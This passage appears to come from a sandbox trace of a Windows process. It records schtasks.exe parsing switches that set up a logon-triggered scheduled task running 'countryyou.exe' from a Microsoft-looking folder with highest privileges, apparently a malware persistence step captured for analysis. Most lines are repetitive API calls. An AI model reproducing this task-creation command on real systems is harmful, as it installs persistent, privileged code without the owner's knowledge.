lstrlenW (lpString="|sc|") returned 4 [0072.729] SetLastError (dwErrCode=0x490) [0072.729] lstrlenW (lpString="create") returned 6 [0072.729] lstrlenW (lpString="create") returned 6 [0072.729] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.729] lstrlenW (lpString="sc") returned 2 [0072.729] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.729] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|create|") returned 8 [0072.729] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|sc|") returned 4 [0072.729] lstrlenW (lpString="|create|") returned 8 [0072.729] lstrlenW (lpString="|sc|") returned 4 [0072.729] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0072.729] SetLastError (dwErrCode=0x490) [0072.729] lstrlenW (lpString="delete") returned 6 [0072.729] lstrlenW (lpString="delete") returned 6 [0072.729] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.729] lstrlenW (lpString="sc") returned 2 [0072.729] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.729] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|delete|") returned 8 [0072.729] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|sc|") returned 4 [0072.729] lstrlenW (lpString="|delete|") returned 8 [0072.729] lstrlenW (lpString="|sc|") returned 4 [0072.729] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0072.729] SetLastError (dwErrCode=0x490) [0072.729] lstrlenW (lpString="query") returned 5 [0072.730] lstrlenW (lpString="query") returned 5 [0072.730] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.730] lstrlenW (lpString="sc") returned 2 [0072.730] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.730] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|query|") returned 7 [0072.730] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|sc|") returned 4 [0072.730] lstrlenW (lpString="|query|") returned 7 [0072.730] lstrlenW (lpString="|sc|") returned 4 [0072.730] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0072.730] SetLastError (dwErrCode=0x490) [0072.730] lstrlenW (lpString="change") returned 6 [0072.730] lstrlenW (lpString="change") returned 6 [0072.730] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.730] lstrlenW (lpString="sc") returned 2 [0072.730] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.730] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|change|") returned 8 [0072.730] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|sc|") returned 4 [0072.730] lstrlenW (lpString="|change|") returned 8 [0072.730] lstrlenW (lpString="|sc|") returned 4 [0072.730] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0072.730] SetLastError (dwErrCode=0x490) [0072.730] lstrlenW (lpString="run") returned 3 [0072.730] lstrlenW (lpString="run") returned 3 [0072.730] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.731] lstrlenW (lpString="sc") returned 2 [0072.731] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.731] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|run|") returned 5 [0072.731] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|sc|") returned 4 [0072.731] lstrlenW (lpString="|run|") returned 5 [0072.731] lstrlenW (lpString="|sc|") returned 4 [0072.731] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0072.731] SetLastError (dwErrCode=0x490) [0072.731] lstrlenW (lpString="end") returned 3 [0072.731] lstrlenW (lpString="end") returned 3 [0072.731] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.731] lstrlenW (lpString="sc") returned 2 [0072.731] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.731] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|end|") returned 5 [0072.731] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|sc|") returned 4 [0072.731] lstrlenW (lpString="|end|") returned 5 [0072.731] lstrlenW (lpString="|sc|") returned 4 [0072.731] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0072.731] SetLastError (dwErrCode=0x490) [0072.731] lstrlenW (lpString="showsid") returned 7 [0072.731] lstrlenW (lpString="showsid") returned 7 [0072.731] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.731] lstrlenW (lpString="sc") returned 2 [0072.731] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.732] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|showsid|") returned 9 [0072.732] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|sc|") returned 4 [0072.732] lstrlenW (lpString="|showsid|") returned 9 [0072.732] lstrlenW (lpString="|sc|") returned 4 [0072.732] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0072.732] SetLastError (dwErrCode=0x490) [0072.732] SetLastError (dwErrCode=0x490) [0072.732] SetLastError (dwErrCode=0x0) [0072.732] lstrlenW (lpString="/sc") returned 3 [0072.732] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0072.732] SetLastError (dwErrCode=0x490) [0072.732] SetLastError (dwErrCode=0x0) [0072.732] lstrlenW (lpString="/sc") returned 3 [0072.732] GetProcessHeap () returned 0x2d0000 [0072.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ec410 [0072.732] GetProcessHeap () returned 0x2d0000 [0072.732] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecdf0 [0072.732] SetLastError (dwErrCode=0x0) [0072.732] SetLastError (dwErrCode=0x0) [0072.732] lstrlenW (lpString="ONLOGON") returned 7 [0072.732] lstrlenW (lpString="-/") returned 2 [0072.732] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0072.732] SetLastError (dwErrCode=0x490) [0072.732] SetLastError (dwErrCode=0x490) [0072.732] SetLastError (dwErrCode=0x0) [0072.732] lstrlenW (lpString="ONLOGON") returned 7 [0072.732] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0072.733] SetLastError (dwErrCode=0x490) [0072.733] SetLastError (dwErrCode=0x0) [0072.733] lstrlenW (lpString="ONLOGON") returned 7 [0072.733] GetProcessHeap () returned 0x2d0000 [0072.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ec430 [0072.733] GetProcessHeap () returned 0x2d0000 [0072.733] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece20 [0072.733] SetLastError (dwErrCode=0x0) [0072.733] SetLastError (dwErrCode=0x0) [0072.733] lstrlenW (lpString="/tr") returned 3 [0072.733] lstrlenW (lpString="-/") returned 2 [0072.733] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.733] lstrlenW (lpString="?") returned 1 [0072.733] lstrlenW (lpString="?") returned 1 [0072.733] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.733] lstrlenW (lpString="tr") returned 2 [0072.733] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.733] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|?|") returned 3 [0072.733] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tr|") returned 4 [0072.733] lstrlenW (lpString="|?|") returned 3 [0072.733] lstrlenW (lpString="|tr|") returned 4 [0072.733] SetLastError (dwErrCode=0x490) [0072.733] lstrlenW (lpString="create") returned 6 [0072.733] lstrlenW (lpString="create") returned 6 [0072.733] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.734] lstrlenW (lpString="tr") returned 2 [0072.734] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.734] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|create|") returned 8 [0072.734] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tr|") returned 4 [0072.734] lstrlenW (lpString="|create|") returned 8 [0072.734] lstrlenW (lpString="|tr|") returned 4 [0072.734] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0072.734] SetLastError (dwErrCode=0x490) [0072.734] lstrlenW (lpString="delete") returned 6 [0072.734] lstrlenW (lpString="delete") returned 6 [0072.734] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.734] lstrlenW (lpString="tr") returned 2 [0072.734] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.734] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|delete|") returned 8 [0072.734] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tr|") returned 4 [0072.734] lstrlenW (lpString="|delete|") returned 8 [0072.734] lstrlenW (lpString="|tr|") returned 4 [0072.734] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0072.734] SetLastError (dwErrCode=0x490) [0072.734] lstrlenW (lpString="query") returned 5 [0072.734] lstrlenW (lpString="query") returned 5 [0072.734] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.734] lstrlenW (lpString="tr") returned 2 [0072.734] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.734] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|query|") returned 7 [0072.735] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tr|") returned 4 [0072.735] lstrlenW (lpString="|query|") returned 7 [0072.735] lstrlenW (lpString="|tr|") returned 4 [0072.735] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0072.735] SetLastError (dwErrCode=0x490) [0072.735] lstrlenW (lpString="change") returned 6 [0072.735] lstrlenW (lpString="change") returned 6 [0072.735] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.735] lstrlenW (lpString="tr") returned 2 [0072.735] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.740] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|change|") returned 8 [0072.740] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tr|") returned 4 [0072.740] lstrlenW (lpString="|change|") returned 8 [0072.740] lstrlenW (lpString="|tr|") returned 4 [0072.740] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0072.740] SetLastError (dwErrCode=0x490) [0072.740] lstrlenW (lpString="run") returned 3 [0072.740] lstrlenW (lpString="run") returned 3 [0072.740] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.740] lstrlenW (lpString="tr") returned 2 [0072.740] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.740] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|run|") returned 5 [0072.740] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tr|") returned 4 [0072.740] lstrlenW (lpString="|run|") returned 5 [0072.740] lstrlenW (lpString="|tr|") returned 4 [0072.740] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0072.740] SetLastError (dwErrCode=0x490) [0072.740] lstrlenW (lpString="end") returned 3 [0072.740] lstrlenW (lpString="end") returned 3 [0072.741] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.741] lstrlenW (lpString="tr") returned 2 [0072.741] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.741] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|end|") returned 5 [0072.741] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tr|") returned 4 [0072.741] lstrlenW (lpString="|end|") returned 5 [0072.741] lstrlenW (lpString="|tr|") returned 4 [0072.741] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0072.741] SetLastError (dwErrCode=0x490) [0072.741] lstrlenW (lpString="showsid") returned 7 [0072.741] lstrlenW (lpString="showsid") returned 7 [0072.741] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.741] lstrlenW (lpString="tr") returned 2 [0072.741] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.741] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|showsid|") returned 9 [0072.741] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|tr|") returned 4 [0072.741] lstrlenW (lpString="|showsid|") returned 9 [0072.741] lstrlenW (lpString="|tr|") returned 4 [0072.741] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0072.741] SetLastError (dwErrCode=0x490) [0072.741] SetLastError (dwErrCode=0x490) [0072.741] SetLastError (dwErrCode=0x0) [0072.741] lstrlenW (lpString="/tr") returned 3 [0072.741] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0072.742] SetLastError (dwErrCode=0x490) [0072.742] SetLastError (dwErrCode=0x0) [0072.742] lstrlenW (lpString="/tr") returned 3 [0072.742] GetProcessHeap () returned 0x2d0000 [0072.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ec450 [0072.742] GetProcessHeap () returned 0x2d0000 [0072.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece50 [0072.742] SetLastError (dwErrCode=0x0) [0072.742] SetLastError (dwErrCode=0x0) [0072.742] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.742] lstrlenW (lpString="-/") returned 2 [0072.742] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0072.742] SetLastError (dwErrCode=0x490) [0072.742] SetLastError (dwErrCode=0x490) [0072.742] SetLastError (dwErrCode=0x0) [0072.742] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.742] StrChrIW (lpStart="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'", wMatch=0x3a) returned=":\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'" [0072.742] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.742] GetProcessHeap () returned 0x2d0000 [0072.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ec470 [0072.742] _memicmp (_Buf1=0x2ec470, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.742] GetProcessHeap () returned 0x2d0000 [0072.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ec490 [0072.742] GetProcessHeap () returned 0x2d0000 [0072.743] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed680 [0072.743] _memicmp (_Buf1=0x2ed680, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.743] GetProcessHeap () returned 0x2d0000 [0072.743] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x90) returned 0x2ede50 [0072.743] SetLastError (dwErrCode=0x7a) [0072.743] SetLastError (dwErrCode=0x0) [0072.743] SetLastError (dwErrCode=0x0) [0072.743] lstrlenW (lpString="'C") returned 2 [0072.743] lstrlenW (lpString="-/") returned 2 [0072.743] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0072.743] SetLastError (dwErrCode=0x490) [0072.743] SetLastError (dwErrCode=0x490) [0072.743] SetLastError (dwErrCode=0x0) [0072.743] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.743] GetProcessHeap () returned 0x2d0000 [0072.743] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8e) returned 0x2edef0 [0072.743] GetProcessHeap () returned 0x2d0000 [0072.743] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ece80 [0072.743] SetLastError (dwErrCode=0x0) [0072.743] SetLastError (dwErrCode=0x0) [0072.743] lstrlenW (lpString="/rl") returned 3 [0072.743] lstrlenW (lpString="-/") returned 2 [0072.743] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.743] lstrlenW (lpString="?") returned 1 [0072.743] lstrlenW (lpString="?") returned 1 [0072.743] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.743] lstrlenW (lpString="rl") returned 2 [0072.743] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.744] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|?|") returned 3 [0072.744] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|rl|") returned 4 [0072.744] lstrlenW (lpString="|?|") returned 3 [0072.744] lstrlenW (lpString="|rl|") returned 4 [0072.744] SetLastError (dwErrCode=0x490) [0072.744] lstrlenW (lpString="create") returned 6 [0072.744] lstrlenW (lpString="create") returned 6 [0072.744] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.744] lstrlenW (lpString="rl") returned 2 [0072.744] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.744] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|create|") returned 8 [0072.744] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|rl|") returned 4 [0072.744] lstrlenW (lpString="|create|") returned 8 [0072.744] lstrlenW (lpString="|rl|") returned 4 [0072.744] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0072.744] SetLastError (dwErrCode=0x490) [0072.744] lstrlenW (lpString="delete") returned 6 [0072.744] lstrlenW (lpString="delete") returned 6 [0072.744] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.744] lstrlenW (lpString="rl") returned 2 [0072.744] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.744] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|delete|") returned 8 [0072.744] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|rl|") returned 4 [0072.744] lstrlenW (lpString="|delete|") returned 8 [0072.745] lstrlenW (lpString="|rl|") returned 4 [0072.745] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0072.745] SetLastError (dwErrCode=0x490) [0072.745] lstrlenW (lpString="query") returned 5 [0072.745] lstrlenW (lpString="query") returned 5 [0072.745] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.745] lstrlenW (lpString="rl") returned 2 [0072.745] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.745] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|query|") returned 7 [0072.745] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|rl|") returned 4 [0072.745] lstrlenW (lpString="|query|") returned 7 [0072.745] lstrlenW (lpString="|rl|") returned 4 [0072.745] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0072.745] SetLastError (dwErrCode=0x490) [0072.745] lstrlenW (lpString="change") returned 6 [0072.745] lstrlenW (lpString="change") returned 6 [0072.745] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.745] lstrlenW (lpString="rl") returned 2 [0072.745] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.745] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|change|") returned 8 [0072.745] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|rl|") returned 4 [0072.745] lstrlenW (lpString="|change|") returned 8 [0072.745] lstrlenW (lpString="|rl|") returned 4 [0072.745] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0072.745] SetLastError (dwErrCode=0x490) [0072.746] lstrlenW (lpString="run") returned 3 [0072.746] lstrlenW (lpString="run") returned 3 [0072.746] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.746] lstrlenW (lpString="rl") returned 2 [0072.746] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.746] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|run|") returned 5 [0072.746] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|rl|") returned 4 [0072.746] lstrlenW (lpString="|run|") returned 5 [0072.746] lstrlenW (lpString="|rl|") returned 4 [0072.746] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0072.746] SetLastError (dwErrCode=0x490) [0072.746] lstrlenW (lpString="end") returned 3 [0072.746] lstrlenW (lpString="end") returned 3 [0072.746] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.746] lstrlenW (lpString="rl") returned 2 [0072.746] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.746] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|end|") returned 5 [0072.746] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|rl|") returned 4 [0072.746] lstrlenW (lpString="|end|") returned 5 [0072.746] lstrlenW (lpString="|rl|") returned 4 [0072.746] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0072.746] SetLastError (dwErrCode=0x490) [0072.746] lstrlenW (lpString="showsid") returned 7 [0072.746] lstrlenW (lpString="showsid") returned 7 [0072.747] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.747] lstrlenW (lpString="rl") returned 2 [0072.747] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.747] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|showsid|") returned 9 [0072.747] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|rl|") returned 4 [0072.747] lstrlenW (lpString="|showsid|") returned 9 [0072.747] lstrlenW (lpString="|rl|") returned 4 [0072.747] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0072.747] SetLastError (dwErrCode=0x490) [0072.747] SetLastError (dwErrCode=0x490) [0072.747] SetLastError (dwErrCode=0x0) [0072.747] lstrlenW (lpString="/rl") returned 3 [0072.747] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0072.747] SetLastError (dwErrCode=0x490) [0072.747] SetLastError (dwErrCode=0x0) [0072.747] lstrlenW (lpString="/rl") returned 3 [0072.747] GetProcessHeap () returned 0x2d0000 [0072.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2edf90 [0072.747] GetProcessHeap () returned 0x2d0000 [0072.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2eceb0 [0072.747] SetLastError (dwErrCode=0x0) [0072.747] SetLastError (dwErrCode=0x0) [0072.747] lstrlenW (lpString="HIGHEST") returned 7 [0072.747] lstrlenW (lpString="-/") returned 2 [0072.747] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0072.747] SetLastError (dwErrCode=0x490) [0072.747] SetLastError (dwErrCode=0x490) [0072.748] SetLastError (dwErrCode=0x0) [0072.748] lstrlenW (lpString="HIGHEST") returned 7 [0072.748] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0072.748] SetLastError (dwErrCode=0x490) [0072.748] SetLastError (dwErrCode=0x0) [0072.748] lstrlenW (lpString="HIGHEST") returned 7 [0072.748] GetProcessHeap () returned 0x2d0000 [0072.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed6a0 [0072.748] GetProcessHeap () returned 0x2d0000 [0072.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecee0 [0072.748] SetLastError (dwErrCode=0x0) [0072.748] SetLastError (dwErrCode=0x0) [0072.748] lstrlenW (lpString="/f") returned 2 [0072.748] lstrlenW (lpString="-/") returned 2 [0072.748] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.748] lstrlenW (lpString="?") returned 1 [0072.748] lstrlenW (lpString="?") returned 1 [0072.748] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.748] lstrlenW (lpString="f") returned 1 [0072.748] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.748] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|?|") returned 3 [0072.748] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|f|") returned 3 [0072.748] lstrlenW (lpString="|?|") returned 3 [0072.748] lstrlenW (lpString="|f|") returned 3 [0072.748] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0072.748] SetLastError (dwErrCode=0x490) [0072.749] lstrlenW (lpString="create") returned 6 [0072.749] lstrlenW (lpString="create") returned 6 [0072.749] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 